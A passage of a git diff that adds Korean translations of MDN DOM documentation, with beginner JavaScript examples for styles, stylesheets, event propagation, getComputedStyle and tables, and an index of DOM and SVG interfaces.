+<p>아래의 간단한 예제에서 HTML 단락 element( <code>&lt;p&gt;</code>)의 일부 기본 스타일 속성들은 DOM에서 검색하고 설정할 수 있는 element의 스타일 객체와, 그 객체의 CSS 스타일 속성을 사용해 접근합니다. 이 경우 개별 스타일을 직접 조작합니다. 다음 예제(예제 4)에서는 stylesheet와 해당 규칙을 사용해 전체 문서의 스타일을 변경할 수 있습니다. </p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Changing color and font-size example&lt;/title&gt;
+
+&lt;script&gt;
+function changeText() {
+  var p = document.getElementById("pid");
+
+  p.style.color = "blue"
+  p.style.fontSize = "18pt"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;p id="pid" onclick="window.location.href = 'http://www.cnn.com/';"&gt;linker&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;p&gt;&lt;input value="rec" type="button" onclick="changeText();" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_4_Using_Stylesheets" name="Example_4:_Using_Stylesheets">예제 4: Stylesheet 사용</h2>
+
+<p>document 객체의 styleSheets 속성은 그 문서에서 로드된 stylesheet 목록을 반환합니다. 이 예제에서 설명된대로 stylesheet, 스타일, CSSRule 객체를 사용해 이러한 stylesheet와 규칙에 개별적으로 접근할 수 있습니다. 이 예제는 모든 스타일 규칙 Selector를 콘솔에 출력합니다. </p>
+
+<pre class="brush:js">var ss = document.styleSheets;
+
+for(var i = 0; i &lt; ss.length; i++) {
+  for(var j = 0; j &lt; ss[i].cssRules.length; j++) {
+    dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+}</pre>
+
+<p>아래와 같은 세가지 규칙이 정의된 하나의 stylesheet가 있는 문서의 경우: </p>
+
+<pre class="brush:css">body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+</pre>
+
+<p>위 스크립트의 결과물은 아래와 같습니다:</p>
+
+<pre>BODY
+P
+#LUMPY
+</pre>
+
+<h2 id="Example_5_Event_Propagation" name="Example_5:_Event_Propagation">예제 5: Event 전파</h2>
+
+<p>This example demonstrates how events fire and are handled in the DOM in a very simple way. When the BODY of this HTML document loads, an event listener is registered with the top row of the TABLE. The event listener handles the event by executing the function stopEvent, which changes the value in the bottom cell of the table.</p>
+
+<p>However, stopEvent also calls an event object method, {{domxref("event.stopPropagation")}}, which keeps the event from bubbling any further up into the DOM. Note that the table itself has an {{domxref("element.onclick","onclick")}} event handler that ought to display a message when the table is clicked. But the stopEvent method has stopped propagation, and so after the data in the table is updated, the event phase is effectively ended, and an alert box is displayed to confirm this.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Event Propagation&lt;/title&gt;
+
+&lt;style&gt;
+#t-daddy { border: 1px solid red }
+#c1 { background-color: pink; }
+&lt;/style&gt;
+
+&lt;script&gt;
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hello";
+
+  // this ought to keep t-daddy from getting the click.
+  ev.stopPropagation();
+  alert("event propagation halted.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="load();"&gt;
+
+&lt;table id="t-daddy" onclick="alert('hi');"&gt;
+  &lt;tr id="tbl1"&gt;
+    &lt;td id="c1"&gt;one&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td id="c2"&gt;two&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_6_getComputedStyle" name="Example_6:_getComputedStyle">Example 6: getComputedStyle</h2>
+
+<p>This example demonstrates how the {{domxref("window.getComputedStyle")}} method can be used to get the styles of an element that are not set using the <code>style</code> attribute or with JavaScript (e.g., <code>elt.style.backgroundColor="rgb(173, 216, 230)"</code>). These latter types of styles can be retrieved with the more direct {{domxref("element.style", "elt.style")}} property, whose properties are listed in the <a href="/en-US/docs/Web/CSS/Reference">DOM CSS Properties List</a>.</p>
+
+<p><code>getComputedStyle()</code> returns a <code>ComputedCSSStyleDeclaration</code> object, whose individual style properties can be referenced with this object's <code>getPropertyValue()</code> method, as the following example document shows.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+
+&lt;title&gt;getComputedStyle example&lt;/title&gt;
+
+&lt;script&gt;
+function cStyles() {
+  var RefDiv = document.getElementById("d1");
+  var txtHeight = document.getElementById("t1");
+  var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+  txtHeight.value = h_style;
+
+  var txtWidth = document.getElementById("t2");
+  var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+  txtWidth.value = w_style;
+
+  var txtBackgroundColor = document.getElementById("t3");
+  var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
+
+  txtBackgroundColor.value = b_style;
+}
+&lt;/script&gt;
+
+&lt;style&gt;
+#d1 {
+  margin-left: 10px;
+  background-color: rgb(173, 216, 230);
+  height: 20px;
+  max-width: 20px;
+}
+&lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div id="d1"&gt;&amp;nbsp;&lt;/div&gt;
+
+&lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;button type="button" onclick="cStyles();"&gt;getComputedStyle&lt;/button&gt;
+    height&lt;input id="t1" type="text" value="1" /&gt;
+    max-width&lt;input id="t2" type="text" value="2" /&gt;
+    bg-color&lt;input id="t3" type="text" value="3" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_7_Displaying_Event_Object_Properties" name="Example_7:_Displaying_Event_Object_Properties">Example 7: Displaying Event Object Properties</h2>
+
+<p>This example uses DOM methods to display all the properties of the {{domxref("window.onload")}} {{domxref("event")}} object and their values in a table. It also shows a useful technique of using a for..in loop to iterate over the properties of an object to get their values.</p>
+
+<p>The properties of event objects differs greatly between browsers, the <a href="https://dom.spec.whatwg.org">WHATWG DOM Standard</a> lists the standard properties, however many browsers have extended these greatly.</p>
+
+<p>Put the following code into a blank text file and load it into a variety of browsers, you'll be surprised at the different number and names of properties. You might also like to add some elements in the page and call this function from different event handlers.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8"/&gt;
+&lt;title&gt;Show Event properties&lt;/title&gt;
+
+&lt;style&gt;
+table { border-collapse: collapse; }
+thead { font-weight: bold; }
+td { padding: 2px 10px 2px 10px; }
+
+.odd { background-color: #efdfef; }
+.even { background-color: #ffffff; }
+&lt;/style&gt;
+
+&lt;script&gt;
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i&lt;len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+
+window.onload = function(event){
+  showEventProperties(event);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;h1&gt;Properties of the DOM &lt;span id="eventType"&gt;&lt;/span&gt; Event Object&lt;/h1&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_8_Using_the_DOM_Table_Interface" name="Example_8:_Using_the_DOM_Table_Interface">Example 8: Using the DOM Table Interface</h2>
+
+<p>The DOM HTMLTableElement interface provides some convenience methods for creating and manipulating tables. Two frequently used methods are {{domxref("HTMLTableElement.insertRow")}} and {{domxref("tableRow.insertCell")}}.</p>
+
+<p>To add a row and some cells to an existing table:</p>
+
+<pre class="brush:html">&lt;table id="table0"&gt;
+ &lt;tr&gt;
+  &lt;td&gt;Row 0 Cell 0&lt;/td&gt;
+  &lt;td&gt;Row 0 Cell 1&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;script&gt;
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+    text;
+
+for (var i = 0; i &lt; 2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+&lt;/script&gt;
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<ul>
+ <li>A table's {{domxref("element.innerHTML","innerHTML")}} property should never be used to modify a table, although you can use it to write an entire table or the content of a cell.</li>
+ <li>If DOM Core methods {{domxref("document.createElement")}} and {{domxref("Node.appendChild")}} are used to create rows and cells, IE requires that they are appended to a tbody element, whereas other browsers will allow appending to a table element (the rows will be added to the last tbody element).</li>
+ <li>There are a number of other convenience methods belonging to the <a href="/en-US/docs/Web/API/HTMLTableElement#Methods">table interface</a> that can be used for creating and modifying tables.</li>
+</ul>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/index.html b/files/ko/web/api/document_object_model/index.html
new file mode 100644
index 0000000000..fa5ff39eec
--- /dev/null
+++ b/files/ko/web/api/document_object_model/index.html
@@ -0,0 +1,350 @@
+---
+title: 문서 객체 모델(DOM)
+slug: Web/API/Document_Object_Model
+tags:
+  - API
+  - DOM
+  - Document
+  - Document Object Model
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{DefaultAPISidebar("DOM")}}</p>
+
+<p><strong>문서 객체 모델(DOM)</strong>은 메모리에 웹 페이지 문서 구조를 표현함으로써 스크립트 및 프로그래밍 언어와 페이지를 연결합니다. 이때 스크립트는 주로 JavaScript를 의미하나 HTML, SVG, XML 객체를 문서로 모델링 하는 것은 JavaScript 언어의 일부가 아닙니다.</p>
+
+<p>DOM은 문서를 논리 트리로 표현합니다. 트리의 각 브랜치는 노드에서 끝나며, 각 노드는 객체를 갖습니다. DOM 메서드를 사용하면 프로그래밍적으로 트리에 접근할 수 있습니다. 이를 통해 문서의 구조, 스타일, 콘텐츠를 변경할 수 있습니다.</p>
+
+<p>노드는 이벤트 처리기도 포함할 수 있습니다. 이벤트가 발생한 순간, 해당 이벤트와 연결한 처리기가 발동합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>더 알아보려면:</strong> <a href="/ko/docs/Web/API/Document_Object_Model/%EC%86%8C%EA%B0%9C">DOM 소개</a> 문서를 방문해보세요.</p>
+</div>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("Attr")}}</li>
+ <li>{{DOMxRef("CDATASection")}}</li>
+ <li>{{DOMxRef("CharacterData")}}</li>
+ <li>{{DOMxRef("ChildNode")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("Comment")}}</li>
+ <li>{{DOMxRef("CustomEvent")}}</li>
+ <li>{{DOMxRef("Document")}}</li>
+ <li>{{DOMxRef("DocumentFragment")}}</li>
+ <li>{{DOMxRef("DocumentType")}}</li>
+ <li>{{DOMxRef("DOMError")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("DOMException")}}</li>
+ <li>{{DOMxRef("DOMImplementation")}}</li>
+ <li>{{DOMxRef("DOMString")}}</li>
+ <li>{{DOMxRef("DOMTimeStamp")}}</li>
+ <li>{{DOMxRef("DOMSettableTokenList")}}</li>
+ <li>{{DOMxRef("DOMStringList")}}</li>
+ <li>{{DOMxRef("DOMTokenList")}}</li>
+ <li>{{DOMxRef("Element")}}</li>
+ <li>{{DOMxRef("Event")}}</li>
+ <li>{{DOMxRef("EventTarget")}}</li>
+ <li>{{DOMxRef("HTMLCollection")}}</li>
+ <li>{{DOMxRef("MutationObserver")}}</li>
+ <li>{{DOMxRef("MutationRecord")}}</li>
+ <li>{{DOMxRef("NamedNodeMap")}}</li>
+ <li>{{DOMxRef("Node")}}</li>
+ <li>{{DOMxRef("NodeFilter")}}</li>
+ <li>{{DOMxRef("NodeIterator")}}</li>
+ <li>{{DOMxRef("NodeList")}}</li>
+ <li>{{DOMxRef("NonDocumentTypeChildNode")}}</li>
+ <li>{{DOMxRef("ParentNode")}}</li>
+ <li>{{DOMxRef("ProcessingInstruction")}}</li>
+ <li>{{DOMxRef("Selection")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("Range")}}</li>
+ <li>{{DOMxRef("Text")}}</li>
+ <li>{{DOMxRef("TextDecoder")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("TextEncoder")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("TimeRanges")}}</li>
+ <li>{{DOMxRef("TreeWalker")}}</li>
+ <li>{{DOMxRef("URL")}}</li>
+ <li>{{DOMxRef("Window")}}</li>
+ <li>{{DOMxRef("Worker")}}</li>
+ <li>{{DOMxRef("XMLDocument")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<div class="hidden">
+<h3 id="더_이상_사용하지_않는_DOM_인터페이스">더 이상 사용하지 않는 DOM 인터페이스</h3>
+
+<p>문서객체모델 매우 단순하게 변하고 있습니다. 이를 위해 다른 DOM 레벨 3 혹은 이전 사양에 있었던 아래의 인터페이스들을 제거했습니다. 향후에 이 중 일부가 다시 도입될 지는 확실하지 않지만 당분간은 모두 폐기된 것으로 간주하고 사용을 피해야 합니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("DocumentTouch")}}}</li>
+ <li>{{DOMxRef("DOMConfiguration")}}</li>
+ <li>{{DOMxRef("DOMErrorHandler")}}}</li>
+ <li>{{DOMxRef("DOMImplementationList")}}</li>
+ <li>{{DOMxRef("DOMImplementationRegistry")}}</li>
+ <li>{{DOMxRef("DOMImplementationSource")}}</li>
+ <li>{{DOMxRef("DOMLocator")}}</li>
+ <li>{{DOMxRef("DOMObject")}}</li>
+ <li>{{DOMxRef("DOMSettableTokenList")}}</li>
+ <li>{{DOMxRef("DOMUserData")}}</li>
+ <li>{{DOMxRef("ElementTraversal")}}</li>
+ <li>{{DOMxRef("Entity")}}</li>
+ <li>{{DOMxRef("EntityReference")}}</li>
+ <li>{{DOMxRef("NameList")}}</li>
+ <li>{{DOMxRef("Notation")}}</li>
+ <li>{{DOMxRef("TypeInfo")}}</li>
+ <li>{{DOMxRef("UserDataHandler")}}</li>
+</ul>
+</div>
+</div>
+
+<h2 id="HTML_DOM">HTML DOM</h2>
+
+<p>문서는 다양한 HTML 관련 기능들을 포함하는 HTML 명세에 의해 확장된 {{DOMxRef("Document")}} 을 사용해 설명된 HTML 을 포함합니다.</p>
+
+<p><span>HTML 객체는 또한 {{DOMxRef("Window")}} 인터페이스, 이에 관련된 {{DOMxRef("window.style", "Style")}}(보통 CSS), 컨텍스트에 관련된 브라우저의 히스토리인 {{DOMxRef("window.history", "History")}} 를 사용해 페이지가 그려지는 탭이나 창과 같은 브라우저의 다양한 기능들에 접근할 수 있게 해줍니다. 마지막에는, 문서의 {{DOMxRef("Selection")}} 이 완료됩니다.</span></p>
+
+<p>자세한 내용은 <a href="/ko/docs/Web/API/HTML_DOM">HTML DOM API</a> 문서를 참고하세요.</p>
+
+<h2 id="SVG_인터페이스">SVG 인터페이스</h2>
+
+<h3 id="SVG_요소_인터페이스">SVG 요소 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("SVGAElement")}}</li>
+ <li>{{DOMxRef("SVGAltGlyphElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAltGlyphDefElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAltGlyphItemElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAnimationElement")}}</li>
+ <li>{{DOMxRef("SVGAnimateElement")}}</li>
+ <li>{{DOMxRef("SVGAnimateColorElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAnimateMotionElement")}}</li>
+ <li>{{DOMxRef("SVGAnimateTransformElement")}}</li>
+ <li>{{DOMxRef("SVGCircleElement")}}</li>
+ <li>{{DOMxRef("SVGClipPathElement")}}</li>
+ <li>{{DOMxRef("SVGColorProfileElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGComponentTransferFunctionElement")}}</li>
+ <li>{{DOMxRef("SVGCursorElement")}}</li>
+ <li>{{DOMxRef("SVGDefsElement")}}</li>
+ <li>{{DOMxRef("SVGDescElement")}}</li>
+ <li>{{DOMxRef("SVGElement")}}</li>
+ <li>{{DOMxRef("SVGEllipseElement")}}</li>
+ <li>{{DOMxRef("SVGFEBlendElement")}}</li>
+ <li>{{DOMxRef("SVGFEColorMatrixElement")}}</li>
+ <li>{{DOMxRef("SVGFEComponentTransferElement")}}</li>
+ <li>{{DOMxRef("SVGFECompositeElement")}}</li>
+ <li>{{DOMxRef("SVGFEConvolveMatrixElement")}}</li>
+ <li>{{DOMxRef("SVGFEDiffuseLightingElement")}}</li>
+ <li>{{DOMxRef("SVGFEDisplacementMapElement")}}</li>
+ <li>{{DOMxRef("SVGFEDistantLightElement")}}</li>
+ <li>{{DOMxRef("SVGFEDropShadowElement")}}</li>
+ <li>{{DOMxRef("SVGFEFloodElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncAElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncBElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncGElement")}}</li>
+ <li>{{DOMxRef("SVGFEFuncRElement")}}</li>
+ <li>{{DOMxRef("SVGFEGaussianBlurElement")}}</li>
+ <li>{{DOMxRef("SVGFEImageElement")}}</li>
+ <li>{{DOMxRef("SVGFEMergeElement")}}</li>
+ <li>{{DOMxRef("SVGFEMergeNodeElement")}}</li>
+ <li>{{DOMxRef("SVGFEMorphologyElement")}}</li>
+ <li>{{DOMxRef("SVGFEOffsetElement")}}</li>
+ <li>{{DOMxRef("SVGFEPointLightElement")}}</li>
+ <li>{{DOMxRef("SVGFESpecularLightingElement")}}</li>
+ <li>{{DOMxRef("SVGFESpotLightElement")}}</li>
+ <li>{{DOMxRef("SVGFETileElement")}}</li>
+ <li>{{DOMxRef("SVGFETurbulenceElement")}}</li>
+ <li>{{DOMxRef("SVGFilterElement")}}</li>
+ <li>{{DOMxRef("SVGFilterPrimitiveStandardAttributes")}}</li>
+ <li>{{DOMxRef("SVGFontElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceFormatElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceNameElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceSrcElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFontFaceUriElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGForeignObjectElement")}}</li>
+ <li>{{DOMxRef("SVGGElement")}}</li>
+ <li>{{DOMxRef("SVGGeometryElement")}}</li>
+ <li>{{DOMxRef("SVGGlyphElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGGlyphRefElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGGradientElement")}}</li>
+ <li>{{DOMxRef("SVGGraphicsElement")}}</li>
+ <li>{{DOMxRef("SVGHatchElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGHatchpathElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGHKernElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGImageElement")}}</li>
+ <li>{{DOMxRef("SVGLinearGradientElement")}}</li>
+ <li>{{DOMxRef("SVGLineElement")}}</li>
+ <li>{{DOMxRef("SVGMarkerElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMaskElement")}}</li>
+ <li>{{DOMxRef("SVGMeshElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMeshGradientElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMeshpatchElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMeshrowElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGMetadataElement")}}</li>
+ <li>{{DOMxRef("SVGMissingGlyphElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGMPathElement")}}</li>
+ <li>{{DOMxRef("SVGPathElement")}}</li>
+ <li>{{DOMxRef("SVGPatternElement")}}</li>
+ <li>{{DOMxRef("SVGPolylineElement")}}</li>
+ <li>{{DOMxRef("SVGPolygonElement")}}</li>
+ <li>{{DOMxRef("SVGRadialGradientElement")}}</li>
+ <li>{{DOMxRef("SVGRectElement")}}</li>
+ <li>{{DOMxRef("SVGScriptElement")}}</li>
+ <li>{{DOMxRef("SVGSetElement")}}</li>
+ <li>{{DOMxRef("SVGSolidcolorElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGStopElement")}}</li>
+ <li>{{DOMxRef("SVGStyleElement")}}</li>
+ <li>{{DOMxRef("SVGSVGElement")}}</li>
+ <li>{{DOMxRef("SVGSwitchElement")}}</li>
+ <li>{{DOMxRef("SVGSymbolElement")}}</li>
+ <li>{{DOMxRef("SVGTextContentElement")}}</li>
+ <li>{{DOMxRef("SVGTextElement")}}</li>
+ <li>{{DOMxRef("SVGTextPathElement")}}</li>
+ <li>{{DOMxRef("SVGTextPositioningElement")}}</li>
+ <li>{{DOMxRef("SVGTitleElement")}}</li>
+ <li>{{DOMxRef("SVGTRefElement")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGTSpanElement")}}</li>
+ <li>{{DOMxRef("SVGUseElement")}}</li>
+ <li>{{DOMxRef("SVGUnknownElement")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("SVGViewElement")}}</li>
+ <li>{{DOMxRef("SVGVKernElement")}} {{Deprecated_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="SVG_데이터_타입_인터페이스">SVG 데이터 타입 인터페이스</h3>
+
+<p>다음은 SVG 프로퍼티와 어트리뷰트 정의에 쓰이는 데이터 타입을 위한 DOM API입니다.</p>
+
+<h4 id="정적_타입">정적 타입</h4>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("SVGAngle")}}</li>
+ <li>{{DOMxRef("SVGColor")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGICCColor")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGElementInstance")}}</li>
+ <li>{{DOMxRef("SVGElementInstanceList")}}</li>
+ <li>{{DOMxRef("SVGLength")}}</li>
+ <li>{{DOMxRef("SVGLengthList")}}</li>
+ <li>{{DOMxRef("SVGMatrix")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGNameList")}}</li>
+ <li>{{DOMxRef("SVGNumber")}}</li>
+ <li>{{DOMxRef("SVGNumberList")}}</li>
+ <li>{{DOMxRef("SVGPaint")}}</li>
+ <li>{{DOMxRef("SVGPathSeg")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegClosePath")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegMovetoAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegMovetoRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegArcAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegArcRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoHorizontalAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoHorizontalRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoVerticalAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegLinetoVerticalRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoCubicSmoothRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegCurvetoQuadraticSmoothRel")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPathSegList")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPoint")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPointList")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGPreserveAspectRatio")}}</li>
+ <li>{{DOMxRef("SVGRect")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGStringList")}}</li>
+ <li>{{DOMxRef("SVGTransform")}}</li>
+ <li>{{DOMxRef("SVGTransformList")}}</li>
+</ul>
+</div>
+
+<h4 id="움직이는animated_형">움직이는(animated) 형</h4>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("SVGAnimatedAngle")}}</li>
+ <li>{{DOMxRef("SVGAnimatedBoolean")}}</li>
+ <li>{{DOMxRef("SVGAnimatedEnumeration")}}</li>
+ <li>{{DOMxRef("SVGAnimatedInteger")}}</li>
+ <li>{{DOMxRef("SVGAnimatedLength")}}</li>
+ <li>{{DOMxRef("SVGAnimatedLengthList")}}</li>
+ <li>{{DOMxRef("SVGAnimatedNumber")}}</li>
+ <li>{{DOMxRef("SVGAnimatedNumberList")}}</li>
+ <li>{{DOMxRef("SVGAnimatedPathData")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGAnimatedPoints")}}</li>
+ <li>{{DOMxRef("SVGAnimatedPreserveAspectRatio")}}</li>
+ <li>{{DOMxRef("SVGAnimatedRect")}}</li>
+ <li>{{DOMxRef("SVGAnimatedString")}}</li>
+ <li>{{DOMxRef("SVGAnimatedTransformList")}}</li>
+</ul>
+</div>
+
+<h3 id="SMIL_관련_인터페이스">SMIL 관련 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("ElementTimeControl")}}</li>
+ <li>{{DOMxRef("TimeEvent")}}</li>
+</ul>
+</div>
+
+<h3 id="기타_SVG_인터페이스">기타 SVG 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("GetSVGDocument")}}</li>
+ <li>{{DOMxRef("ShadowAnimation")}}</li>
+ <li>{{DOMxRef("SVGColorProfileRule")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGCSSRule")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGDocument")}}</li>
+ <li>{{DOMxRef("SVGException")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGExternalResourcesRequired")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGFitToViewBox")}}</li>
+ <li>{{DOMxRef("SVGLangSpace")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGLocatable")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGRenderingIntent")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGStylable")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGTests")}}</li>
+ <li>{{DOMxRef("SVGTransformable")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGUnitTypes")}}</li>
+ <li>{{DOMxRef("SVGUseElementShadowRoot")}}</li>
+ <li>{{DOMxRef("SVGURIReference")}}</li>
+ <li>{{DOMxRef("SVGViewSpec")}} {{Deprecated_Inline}}</li>
+ <li>{{DOMxRef("SVGZoomAndPan")}}</li>
+ <li>{{DOMxRef("SVGZoomEvent")}} {{Deprecated_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
